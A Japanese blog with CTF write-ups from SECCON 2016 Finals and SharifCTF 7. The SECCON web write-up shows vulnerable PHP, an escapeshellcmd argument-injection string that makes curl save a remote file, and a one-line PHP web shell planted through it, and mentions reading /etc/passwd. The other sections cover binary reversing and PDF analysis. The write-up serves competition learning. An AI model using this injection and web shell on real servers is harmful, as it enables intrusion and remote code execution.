ふるつき

v(*'='*)v かに

SECCON 2016 FINALに行ってきた

2017/1/28と2017/1/29にSECCON 2016 FINALに行ってきました。SECCON IoTでの優勝による学生枠での出場でしたが、500ptを獲得した我々insecureは全24チーム中20位、学生8チーム中では4位という悔しい結果に終わりました。500ptのうち300ptはptr-yudaiが獲得し、のこりの200ptは私が獲得したので、そのwrite upを書きます。

CVE-2016-10033

jeopardyのweb問題でした。問題文は <サーバのIP>/FLAGhere とだけ書かれていて、そこにアクセスしようとするとForbiddenと言われました。とりあえず%00を末尾につけてみたり、POSTやPUTでアクセスしてみたりしましたがこれらはハズレでした。 こまったのでowasp-zapに投げると、なにやら/index.htmlというファイルが有ることがわかりました(普通はzapしなくてもわかる)。たいしたhtmlではなくて、コンテンツとしては "under construction" だけでしたが、すごく怪しい があって、href="css-selector.php?set=0"とかしていました。そこでcss-selector.phpにアクセスすると、main.cssとmain-test.cssへのリンクが表示されました。それから少し解析して`?set=0&css=hogePとするとhogeファイルを見られることがわかりました。最初は/etc/passwdとかを見ていたのですが、そんなことをするよりも css-selector.php の中身を見ることが大事でした。css-selector.php はこんな感じでした。

<?php
// by KeigoYAMAZAKI, 2017.01.23-
session_start();
if(! isset($_SESSION['css'])) {
  $_SESSION['css'] = './main.css';
}
if(isset($_GET['css'])) {
  $_SESSION['css'] = $_GET['css'];
}
if($_GET['set'] == '0') {
  header("Content-Type: text/css");
  echo file_get_contents($_SESSION['css']);
} elseif($_GET['menu'] == 'maintenance') {
  ?>
    <form action="?" method="GET">
    <input type="text" name="host" value="127.0.0.1">
    <input type="submit" name="tool" value="nmap">
    <input type="submit" name="tool" value="curl">
    </form>
  <?php
} elseif($_GET['tool'] == 'nmap') {
  $cmd = "/usr/bin/nmap -sV -n -P0 -p22,25,80,443 \"".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} elseif($_GET['tool'] == 'curl') {
  $cmd = "/usr/bin/curl \"http://".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} else {
  ?>
    <li><a href="?css=./main.css">main.css</a>
    <li><a href="?css=./main-test.css">main-test.css</a>
  <?php
}
?>

というわけで?menu=maintenanceとしてアクセスするとnmapかcurlを呼べることがわかりました。ここで詰まっていたのですが、ptr-yudaiにはなしを振ったら、escapeshellcmdでは対のダブルクオーテーションはエスケープされないという脆弱性を見つけ出してきてくれました。これを利用して、 a" -o "/var/www/html/writabletmp/hoge.html とするとcurlしたファイルを保存できるところまでわかったので、自分のサーバに以下のようなtakoyaki.htmlを作って、これにアクセスさせ、takoyaki.phpとして保存させました。

<?php

system($_GET['takoyaki']);

これでコードの実行ができるようになったので、?takoyaki=cat FLAGhere/* みたいな感じにして SECCON{escapeshellcmd_CVE-2016-10033} を得ました。

これだけにものすごい時間を取られて:(

welcome

jeopardyのrev問題でした。バイナリ を渡されて、問題文は

./welcome SECCON{*********}
LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQUWZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVLM0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXERNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24URF}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}

みたいな感じでした。何度か実行してみると、同じ引数を与えても出力が違うことがあり、ptr-yudaiに聞くと中でtimeを使っている箇所があるとのことでした。言われて中身を覗きましたがよくわからなかったので、radare2とobjdumpとgdbを使って処理を追いかけ、3時間くらいかけてそれっぽいC言語ソースコードにしてみました。

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char**argv) {
    int d = 0;
    char* s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";
    int c = 0;
    char*buf;

    c = strlen(argv[1]);
    //while (c < strlen(argv[1])) {
    // a = argv[1][c];
    // esi = a;
    // c++;
    //}


    buf = (char*)malloc(strlen(argv[1]) << 5 + 1);
    c = 0;
    int i = 0;
    char *p;
    time_t t;
    int off;
    while (c < strlen(argv[1])) {
        i = 0;
        while (i <= 15) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        buf[d] = argv[1][c];
        d++;
        i = 0;
        while (i <= 14) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        c++;
    }
    buf[d] = 0;
    puts(buf);
}

しかしこれを実行しても welcome と同じ結果にはなりませんでした。こんな感じになります。

$ ./hoge SECCON{NOT_A_FLAG}
YYYYYYYYYYYYYYYYSYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYEYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYTYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYFYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYLYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYGYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}YYYYYYYYYYYYYYY

このYは実行ごとにIになったりしたのでランダムですが、与えられたwelcomeのようにぐちゃあっとはなりませんでした。しかしこれが却って良くて、あきらかにargv[1]の値が飛び飛びで出力されていることがとても良くわかりました。

そこでYYYY……をaとして a[::16] としたら YSYEYCYCYOYNY{YNYOYTY_YAY_YFYLYAYGY} になり、 a[::16][1::2] すると SECCON{NOT_A_FLAG} とargv[1]が復元できたので、この部分はちゃんと解析できていることを祈って、問題文の出力に対しても同様の操作を行ったところ、 SECCON{WELCOME_TO_SECCON_CTF_2016} が得られました。

writeup以外のこと

数日前から、 サーバからdefense keywordを抜いてくるscriptとか書いてましたが、そんなことをしている場合じゃなかった。defenseどころかattackすらできないで king of the hillではなくてjeopardyをやってしまった。なんかサーバがjavascriptで動的にdefense keywordを配置してるからとかいってseleniumを使うように修正したあの開始後一時間がものすごいもったいない。

Sharif7CTFのWriteUp

Harekazeというチームで、Sharif7CTFに参加していました。

Harekazeは651点で122位でした。出場チームは700で、そのうち1点より多い点を入れているのが、380なので、半分より少し上といったところです。日本チームのうちでは6位でした。

私は651点のうち300点にあたる二問を解いたのでWriteUpします。

StrangePDF

%PDF-1.7
1 0 obj 
<<
  /Type /Catalog
  /Pages 2 0 R
>>
endobj

2 0 obj
<<
  /Type /Pages
  /MediaBox [ 0 0 500 800 ]
  /Count 1
  /Kids [ 3 0 R ]
>>
endobj

3 0 obj
<<
  /Type /Page
  /Parent 2 0 R
  /Resources <<
    /XObject  <<
        /A 6 0 R
    >>
  >>
  /Contents 5  0 R
>>
endobj

4 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /BaseFont /Times-Roman
>>
endobj

5 0 obj 
<<
  /Length 359
>>
stream
 q
  10 0 0 10 250 400 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
 Q
endstream
endobj

6 0 obj
  << /Type /XObject
     /Subtype /Form
     /FormType 1
     /BBox [ 0 0 1000 1000 ]
     /Matrix [ 1 0 0 1 0 0 ]
     /Resources <<
        /ProcSet [ /PDF ]
        /Font <<
          /F1 4 0 R
     >>
  >>
     /Length 68
  >>
stream
 BT
  /F1 4 Tf
  1 0 0 1 0 3 Tm
  (SharifCTF) Tj
 ET
endstream
endobj

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% set width to 2
% moveto 100 650
% lineto 100 620
% ...
% ..

7 0 obj
<</Length 283>>
stream
2 w
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l 
120 620 m 140 620 l 
120 615 m 120 595 l 
120 590 m 140 590 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
180 615 m 180 595 l 
160 590 m 180 590 l 
S
endstream
endobj

8 0 obj
<</Length 318>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

9 0 obj
<</Length 234>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

10 0 obj
<</Length 257>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

11 0 obj
<</Length 236>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 

S
endstream
endobj

12 0 obj
<</Length 257>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

13 0 obj
<</Length 318>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

14 0 obj
<</Length 257>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

15 0 obj
<</Length 318>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

16 0 obj
<</Length 254>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l
160 615 m 160 595 l 
S
endstream
endobj

17 0 obj
<</Length 194>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj

18 0 obj
<</Length 215>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 620 m 180 620 l 
180 645 m 180 625 l
160 645 m 160 625 l  
180 615 m 180 595 l 
S
endstream
endobj


19 0 obj
<</Length 194>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj


20 0 obj
<</Length 237>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

21 0 obj
<</Length 236>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 
S
endstream
endobj

22 0 obj
<</Length 61>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

23 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

24 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

25 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 160 620 l 
160 615 m 160 585 l 
S
endstream
endobj

26 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

27 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 160 620 l 
160 615 m 160 585 l 
S
endstream
endobj

28 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

29 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj


30 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj

31 0 obj
<</Length 61>>
stream
2 w 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

32 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 160 620 l 
160 615 m 160 585 l

S
endstream
endobj

33 0 obj
<</Length 61>>
stream
2 w 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

34 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 

S
endstream
endobj

35 0 obj
<</Length 61>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l
160 615 m 160 595 l 
 
S
endstream
endobj

36 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj

37 0 obj
<</Length 61>>
stream
2 w 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj


38 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 

S
endstream
endobj


39 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 620 m 180 620 l 
180 645 m 180 625 l
160 645 m 160 625 l  
180 615 m 180 595 l 
S
endstream
endobj

40 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l 
120 620 m 140 620 l 
120 615 m 120 595 l 
120 590 m 140 590 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj



xref
0 40
0000000000 65535 f
0000000010 00000 n
0000000079 00000 n
0000000173 00000 n
0000000301 00000 n
0000000380 00000 n
0000000450 00000 n
trailer
<<
  /Size 8
  /Root 1 0 R
>>
startxref
600
%%EOF

というようなPDFが渡されます。みると、ぐるぐるの「SharifCTF」という文字があるPDFなんですが、objの7 0から40 0までが使われていないようだったので、27行目あたりの参照を変更してやると、数字が描画されました。 ということで、objの7 0から40 0までを描画するように適当にスクリプトを描いて、出てきた数値をascii表に従って変換してやるとFLAGがでました。 {d1242d2d0969741dde7ed79c3c409c46}

スクリプトはこんな感じです。

import os

for i in range(7, 41):
    os.system("cp strange_pdf.pdf {}.pdf".format(i))
    os.system(r"sed -i '27 s/\[[0-9]*/[{}/g' {}.pdf".format(i, i))

Scrack

バイナリが渡されるのでgdbで解析しようとするとなんか Don't follow me ぽいことを言われるので objdump してやるとこんなフレーズが出てきて、

...snip...

  400acb:   31 c0                   xor    eax,eax
  400acd:   74 fa                   je     400ac9 <main+0x7c>
  400acf:   e8 0f b6 45 b0          call   ffffffffb085c0e3 <_end+0xffffffffb0259e0b>
  400ad4:   3c 38                   cmp    al,0x38
  400ad6:   0f 85 bc 03 00 00       jne    400e98 <main+0x44b>
  400adc:   0f b6 45 b1             movzx  eax,BYTE PTR [rbp-0x4f]
  400ae0:   3c 37                   cmp    al,0x37
  400ae2:   0f 85 b0 03 00 00       jne    400e98 <main+0x44b>
  400ae8:   0f b6 45 b2             movzx  eax,BYTE PTR [rbp-0x4e]
  400aec:   3c 34                   cmp    al,0x34
  400aee:   0f 85 a4 03 00 00       jne    400e98 <main+0x44b>
  400af4:   0f b6 45 b3             movzx  eax,BYTE PTR [rbp-0x4d]
  400af8:   3c 30                   cmp    al,0x30
  400afa:   0f 85 98 03 00 00       jne    400e98 <main+0x44b>
  400b00:   0f b6 45 b4             movzx  eax,BYTE PTR [rbp-0x4c]
  400b04:   3c 33                   cmp    al,0x33
  400b06:   0f 85 8c 03 00 00       jne    400e98 <main+0x44b>
  400b0c:   0f b6 45 b5             movzx  eax,BYTE PTR [rbp-0x4b]
  400b10:   3c 38                   cmp    al,0x38
  400b12:   0f 85 80 03 00 00       jne    400e98 <main+0x44b>
  400b18:   0f b6 45 b6             movzx  eax,BYTE PTR [rbp-0x4a]
  400b1c:   3c 65                   cmp    al,0x65
  400b1e:   0f 85 74 03 00 00       jne    400e98 <main+0x44b>
  400b24:   0f b6 45 b7             movzx  eax,BYTE PTR [rbp-0x49]
  400b28:   3c 34                   cmp    al,0x34
  400b2a:   0f 85 68 03 00 00       jne    400e98 <main+0x44b>
  400b30:   0f b6 45 b8             movzx  eax,BYTE PTR [rbp-0x48]
  400b34:   3c 62                   cmp    al,0x62
  400b36:   0f 85 5c 03 00 00       jne    400e98 <main+0x44b>
  400b3c:   0f b6 45 b9             movzx  eax,BYTE PTR [rbp-0x47]
  400b40:   3c 36                   cmp    al,0x36
  400b42:   0f 85 50 03 00 00       jne    400e98 <main+0x44b>
  400b48:   0f b6 45 ba             movzx  eax,BYTE PTR [rbp-0x46]
  400b4c:   3c 65                   cmp    al,0x65
  400b4e:   0f 85 44 03 00 00       jne    400e98 <main+0x44b>
  400b54:   0f b6 45 bb             movzx  eax,BYTE PTR [rbp-0x45]
  400b58:   3c 32                   cmp    al,0x32
  400b5a:   0f 85 38 03 00 00       jne    400e98 <main+0x44b>
  400b60:   0f b6 45 bc             movzx  eax,BYTE PTR [rbp-0x44]
  400b64:   3c 39                   cmp    al,0x39
  400b66:   0f 85 2c 03 00 00       jne    400e98 <main+0x44b>
  400b6c:   0f b6 45 bd             movzx  eax,BYTE PTR [rbp-0x43]
  400b70:   3c 62                   cmp    al,0x62
  400b72:   0f 85 20 03 00 00       jne    400e98 <main+0x44b>
  400b78:   0f b6 45 be             movzx  eax,BYTE PTR [rbp-0x42]
  400b7c:   3c 66                   cmp    al,0x66
  400b7e:   0f 85 14 03 00 00       jne    400e98 <main+0x44b>
  400b84:   0f b6 45 bf             movzx  eax,BYTE PTR [rbp-0x41]
  400b88:   3c 30                   cmp    al,0x30
  400b8a:   0f 85 08 03 00 00       jne    400e98 <main+0x44b>
  400b90:   0f b6 45 c0             movzx  eax,BYTE PTR [rbp-0x40]
  400b94:   3c 38                   cmp    al,0x38
  400b96:   0f 85 fc 02 00 00       jne    400e98 <main+0x44b>
  400b9c:   0f b6 45 c1             movzx  eax,BYTE PTR [rbp-0x3f]
  400ba0:   3c 39                   cmp    al,0x39
  400ba2:   0f 85 f0 02 00 00       jne    400e98 <main+0x44b>
  400ba8:   0f b6 45 c2             movzx  eax,BYTE PTR [rbp-0x3e]
  400bac:   3c 38                   cmp    al,0x38
  400bae:   0f 85 e4 02 00 00       jne    400e98 <main+0x44b>
  400bb4:   0f b6 45 c3             movzx  eax,BYTE PTR [rbp-0x3d]
  400bb8:   3c 62                   cmp    al,0x62
  400bba:   0f 85 d8 02 00 00       jne    400e98 <main+0x44b>
  400bc0:   0f b6 45 c4             movzx  eax,BYTE PTR [rbp-0x3c]
  400bc4:   3c 67                   cmp    al,0x67
  400bc6:   0f 85 cc 02 00 00       jne    400e98 <main+0x44b>
  400bcc:   0f b6 45 c5             movzx  eax,BYTE PTR [rbp-0x3b]
  400bd0:   3c 34                   cmp    al,0x34
  400bd2:   0f 85 c0 02 00 00       jne    400e98 <main+0x44b>
  400bd8:   0f b6 45 c6             movzx  eax,BYTE PTR [rbp-0x3a]
  400bdc:   3c 66                   cmp    al,0x66
  400bde:   0f 85 b4 02 00 00       jne    400e98 <main+0x44b>
  400be4:   0f b6 45 c7             movzx  eax,BYTE PTR [rbp-0x39]
  400be8:   3c 30                   cmp    al,0x30
  400bea:   0f 85 a8 02 00 00       jne    400e98 <main+0x44b>
  400bf0:   0f b6 45 c8             movzx  eax,BYTE PTR [rbp-0x38]
  400bf4:   3c 32                   cmp    al,0x32
  400bf6:   0f 85 9c 02 00 00       jne    400e98 <main+0x44b>
  400bfc:   0f b6 45 c9             movzx  eax,BYTE PTR [rbp-0x37]
  400c00:   3c 32                   cmp    al,0x32
  400c02:   0f 85 90 02 00 00       jne    400e98 <main+0x44b>
  400c08:   0f b6 45 ca             movzx  eax,BYTE PTR [rbp-0x36]
  400c0c:   3c 35                   cmp    al,0x35
  400c0e:   0f 85 84 02 00 00       jne    400e98 <main+0x44b>
  400c14:   0f b6 45 cb             movzx  eax,BYTE PTR [rbp-0x35]
  400c18:   3c 39                   cmp    al,0x39
  400c1a:   0f 85 78 02 00 00       jne    400e98 <main+0x44b>
  400c20:   0f b6 45 cc             movzx  eax,BYTE PTR [rbp-0x34]
  400c24:   3c 33                   cmp    al,0x33
  400c26:   0f 85 6c 02 00 00       jne    400e98 <main+0x44b>
  400c2c:   0f b6 45 cd             movzx  eax,BYTE PTR [rbp-0x33]
  400c30:   3c 35                   cmp    al,0x35
  400c32:   0f 85 60 02 00 00       jne    400e98 <main+0x44b>
  400c38:   0f b6 45 ce             movzx  eax,BYTE PTR [rbp-0x32]
  400c3c:   3c 63                   cmp    al,0x63
  400c3e:   0f 85 54 02 00 00       jne    400e98 <main+0x44b>
  400c44:   0f b6 45 cf             movzx  eax,BYTE PTR [rbp-0x31]
  400c48:   3c 30                   cmp    al,0x30
  400c4a:   0f 85 48 02 00 00       jne    400e98 <main+0x44b>

...snip...

cmpに指定されている文字を連結して文字列にしてやって、入力するとフラグが出ました。

SharifCTF{ed97d286f356dadb5cde0902006c7deb}

なんか簡単でよくわからないけど、SECCON Onlineの時よりはチームに貢献できたと思います。

高専セキュリティコンテストに参加した

